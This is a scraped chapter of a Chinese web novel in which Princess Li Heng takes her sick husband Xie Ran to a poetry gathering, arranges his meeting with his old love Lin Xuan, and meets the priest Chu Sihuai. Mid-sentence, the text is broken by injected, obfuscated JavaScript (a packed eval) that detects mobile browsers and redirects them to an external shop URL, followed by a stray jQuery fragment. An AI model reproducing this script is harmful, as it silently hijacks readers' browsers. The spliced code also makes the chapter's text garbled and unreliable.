22. 第 22 章

作品:《神官难撩

    那一次谈心之后,李蘅一改此前在公主府对谢冉彬彬有礼中稳居高位的姿态,有事无事到那间光线晦暗、充满病气的屋子坐一坐,顺便指挥下人换盏盈辉于室的连枝灯,换条色泽鲜艳的厚被褥,换盆新鲜当季的盛放牡丹。


    难得的是,谢冉对此也未置一言。


    眼见着开了春,谢冉的病气未增反减,公主府中的丫鬟婆子对此议论纷纷,他们传颂着公主与驸马的恩爱情深,以至于上苍开眼,让驸马药石无效的心疾有了好转。


    李蘅不算是一个爱管闲事的人,但是眼见着一个病入膏肓之人耽于回忆,有可能抱憾而终,她联想到了同样沉湎过往、无药可医的自己。


    推己及人,她愿意成全一个病人未尽的心愿。


    两人也倒是能够心平气和地聊一些无关紧要事了。


    谢冉精神稍霁,便着手开始写诗。李蘅早早就听闻过他写诗的才名,她捧卷拜读,并不觉得这些诗多么令人叹服,她看一切妙作都只能算是浅尝辄止,尝了个味儿,却品不出其中的千回百转、铭心刻骨。


    她也懒得装作感兴趣,只是恰好碰到,在一旁无意义地消磨时间,吃着美食喝着酒。


    谢冉问她喝的什么酒,她提起酒壶看了看瓶身,又将酒壶推到他面前:“瀑江春。”


    那酒香闻起来清淡,但入口绵长,在嘴里泅过一圈却带有一丝苦。


    卞罗河是瀑江的支流,沿线的许多小酒肆都会售卖这一种酒,价格不贵,味道不算难喝,所以受到很多船工的欢迎。


    谢冉并没有喝过这种酒,但是年幼时生活在卞罗河岸,游历时见船工豪饮此酒,还曾写过相关的诗句:


    一江船,半瀑醉,小火燃透一枝春。


    他只是好奇,为何金尊玉贵的昭阳公主,却独自享用这般不入流的酒。


    他将酒倒了半盏,举起来嗅了嗅,“闻起来不错。”


    李蘅当他说的是实话,但还是问:“你这身体能喝酒吗?”


    “不如试试。”谢冉喝完一杯,嘴里的苦涩缓缓扑上来,那味道倒是比药味儿好一些。


    李蘅撑着下巴睨着他,“你看起来有些勉强啊。”


    谢冉难得一笑,“我从不勉强。”


    李蘅心道,从不勉强,那就是顺其自然?顺其自然,那不就是消极等待?但她这一次,既然夸了海口要帮他减轻遗憾,那她便要说到做到。


    待二人喝到有些晕晕沉沉,李蘅从袖子里抽出一张邀请信函,她将信函拍到谢冉手中,“这个诗会邀请本公主了,我哪懂什么狗屁作诗,谢冉,你与我同去,把他们打得措手不及,你行的,行的。”


    谢冉展开信函过一遍,抬起眼,目光落到她的扑闪的长睫上。


    屋外正下着小雨,天气阴寒,她背后的牡丹却开得像一团火,将室温都灼热了。


    诗会那一天,聚齐了大夏国一大波有名的才子。谢冉自病起就再未出席过这样人多的场合,许多人见他与昭阳公主一同参与,着实惊奇。


    这对夫妇成婚已近三年,除却一些必要的场合,他们大都分头行动,以至于坊间有许多他们不合的传言。


    谢冉瘦了一圈,病弱单薄,李蘅却如一株长在旁边的雍容牡丹,色彩明丽,桃腮杏眼,眉目骄纵。


    那些议论声她听在耳朵里,却不甚在意,她侧过脸对谢冉道:“瞧见了吗?那些背地里说风凉话的人,你认准了,待会儿最好作点酸诗骂一骂他们。”


    谢冉嘴角弯了弯,“好。”


    李蘅放心将他推到人群里去,她还有一件事要做。


    这次诗会的发起人是大夏的文坛大豪令国公,他年过古稀,须发皆白,远远看去仙风道骨,伶仃中藏一抹超然。


    李蘅远远瞥见假山凉亭中的令国公,一个闪身朝假山下方穿行。让令国公瞧见,那可半天走不开,她无论如何都得躲着点。


    李蘅此行打了主意要替谢冉了却夙愿,她早就打听到那姜家新妇林萱今日要来参加诗会。谢冉对林萱念念不忘,那她就创造机会让他们见个面。


    她猜测,林萱此时应该在后院与一众贵妇攀谈。


    到后院必须经过这些假山,她有些胆战心惊地穿行其中,手里抓着谢冉写的诗集,步履匆匆。


    她走得急,却没有注意脚下,一不小心绊到脚,痛得呲牙。


    她正准备低头看看自己那疼痛欲裂的脚趾,余光却瞥见一抹璀璨的蓝。


    楚思怀就这么冷不丁与她在假山里狭路相逢。


    她有些窘迫地直起腰,暂时不去管那脚部疼痛,面上迅速恢复冷静。


    楚思怀那时还未接任国师之职,手里拿着与其他神官类似的拂尘,白发垂在肩膀两侧。他站在那一截台阶之上,显得更高,李蘅甚至仰着脑袋才能看清他的脸。这样的窘境的确与她的身份不匹配,她迅速调整了站姿,跨了一步,与他站在同一阶上。


    楚思怀注意到她手中的诗集,封面淡黄色,上面写了几个飘逸的草书:如瀑集,字体狂放,颇有意气,一看就不是出自她的手笔。倒像是谢冉的字。


    李蘅握紧手中的诗集,“没有听说你要参加此次诗会啊。”若提前知道,她一定不会来。


    他收回眼神,“令国公盛情邀请,我便来充个数。”


    “哦。”


    李蘅本就没有想过会在这里遇见他,在以往的许多场合,她总是避着他,免得徒增尴尬。


    “你的脚没事吧?”


    有事也与你无关。他不说还好,一说起李蘅就觉得自己那只脚废了。她满不在意地说:“不劳你挂心。”


    她往前走了两步,却不由自主像个瘸子一般顿了顿脚步。她不想在他面前表现出异样,待出了假山,脸上才又换上那副痛苦的面具。但事情没有办完,她心有惦念,忙着去找那林萱。


    后院的妇人们三三两两凑到一起研究诗句,各个都衣着光鲜。


    李蘅的打扮标新立异,站在一众妇人之间显得尤为突出,她的出现令人蜂拥而至,把她围得团团转。


    她本就不擅记人脸,眼睛转了半天,认出那个令谢冉魂牵梦绕的林萱,她如今作已婚妇人打扮,朱唇一点,头顶随云髻,一言一行都板正有礼。


    待众人恭维的词说尽,又说起了前院的诗词。那些丫鬟不定时将前院的状况汇报到后院,那些妇人听得一惊一乍。


    李蘅这才晓得,谢冉今日一展才名,所作之诗果然妙不可言。但令人感到意外的是,在关于写月的命题诗词上,楚思怀的名字赫然在前列。


    有妇人惊讶道:“那不就是镜尘神官吗?啊呀,他怎么也来了啊。”


    听到这个名字的妇人们有的喜形于色,有的窃窃私语。


    李蘅这才在她们的口中得知,楚思


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973382|192086||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怀在国都这几年,竟收获了不少女性信徒,在座的不少都是他的追随者。


    李蘅趁她们交头接耳,拿着诗集去找林萱。


    “姜夫人,这诗你帮本公主瞧瞧,写得如何?”


    诗集上的字,林萱见过无数次,自然是无比熟悉。她不知昭阳公主打的什么主意,盯着那书皮上的字看了片刻,“那林萱恭敬不如从命。”


    翻开一页看下去,她的脸色逐渐变了。


    李蘅猜想,一定是触动到了心灵。


    待她看完,李蘅又问:“如何?”


    林萱放下诗集答:“自然是,极好的。”


    李蘅笑道:“能得姜夫人青睐,自然是极好的。我与姜夫人真是投缘,你有空么?有的话随本公主一起去后面聊一聊,我们好探讨一下诗词。”


    林萱自是知道这昭阳公主来者不善,但迫于她的权势,她只能低眉顺眼道:“好的。”


    引路的丫鬟将二人带到一处茶室。


    李蘅早就找人去前院请回了驸马谢冉,他身体不佳,在诗会上撑了许久,终于得空休息,坐在茶室中捂住心口垂着脑袋。


    听到声响,他抬头向门口看去,门缝中,李蘅的身影像一只飞舞的鸟雀一般扑来,他放松一笑。待她进门,门后又出现了另一人的身影,林萱今日并未打扮得过分张扬,符合她一贯的作风,低调、务实。


    林萱见到谢冉也是一愣,但她很快镇静下来。


    待李蘅将她引入茶室,并将他们互相介绍了一番,林萱才惊觉,这是一场鸿门宴。


    但李蘅仍是波澜无惊,她将那本诗集吹捧了一番,最后借着肚子不舒服,找了个蹩脚的借口说要出去一会儿,给他们俩留出了合理的会面时间。


    谢冉伸手要阻她,李蘅装作看不懂,“你们聊,我一会儿就来。”


    借口实在太烂。谢冉看着她火速离去的背影不禁摇头。


    李蘅想象着这样的会面,是不是如她所想那样天雷勾地火,抑或是相顾无言只有泪千行。


    她想着想着走到了池边芦苇丛,看着那水中的鸳鸯出神。


    一颗石子入水,惊起水波,鸳鸯四散。


    李蘅睁着大眼睛回过头,看见楚思怀的蓝衫叠入这风中摇动的芦苇。


    李蘅站起身来。


    楚思怀问:“公主在此处思考人生大事么?”


    的确是人生大事,却不是她的。她苦心布置了这么久,就为了给谢冉一个圆满,也不知那两人聊得如何。


    李蘅想了想问:“听说你今日作诗作得不错,超过谢冉了么?”


    楚思怀:“我写的东西小打小闹,不及驸马。我刚看公主的丫鬟请驸马到后院,为何公主却独自在这岸边徘徊?”


    被他抓住了小辫子。李蘅总不能说自己把驸马推给了他的初恋情人,让他们共处一室叙旧,自己出来吹风受罪吧。说起来都荒唐。


    她于是找了个借口,“驸马病中陪我外出,作诗辛苦,需要静养,未免打扰,我出来散散步透透气。”


    这个理由总不至于蹩脚了吧?李蘅搓了搓手,有些凉。


    为了让人休息,倒是宁愿自己出来受冻。楚思怀看着她冻红的手,心中不知怎么涌上一股难以言喻的薄怒,他尽量平心静气,“回去吧。”


    李蘅不以为意,“再待会儿。”说罢朝着池子又扔了一块石头。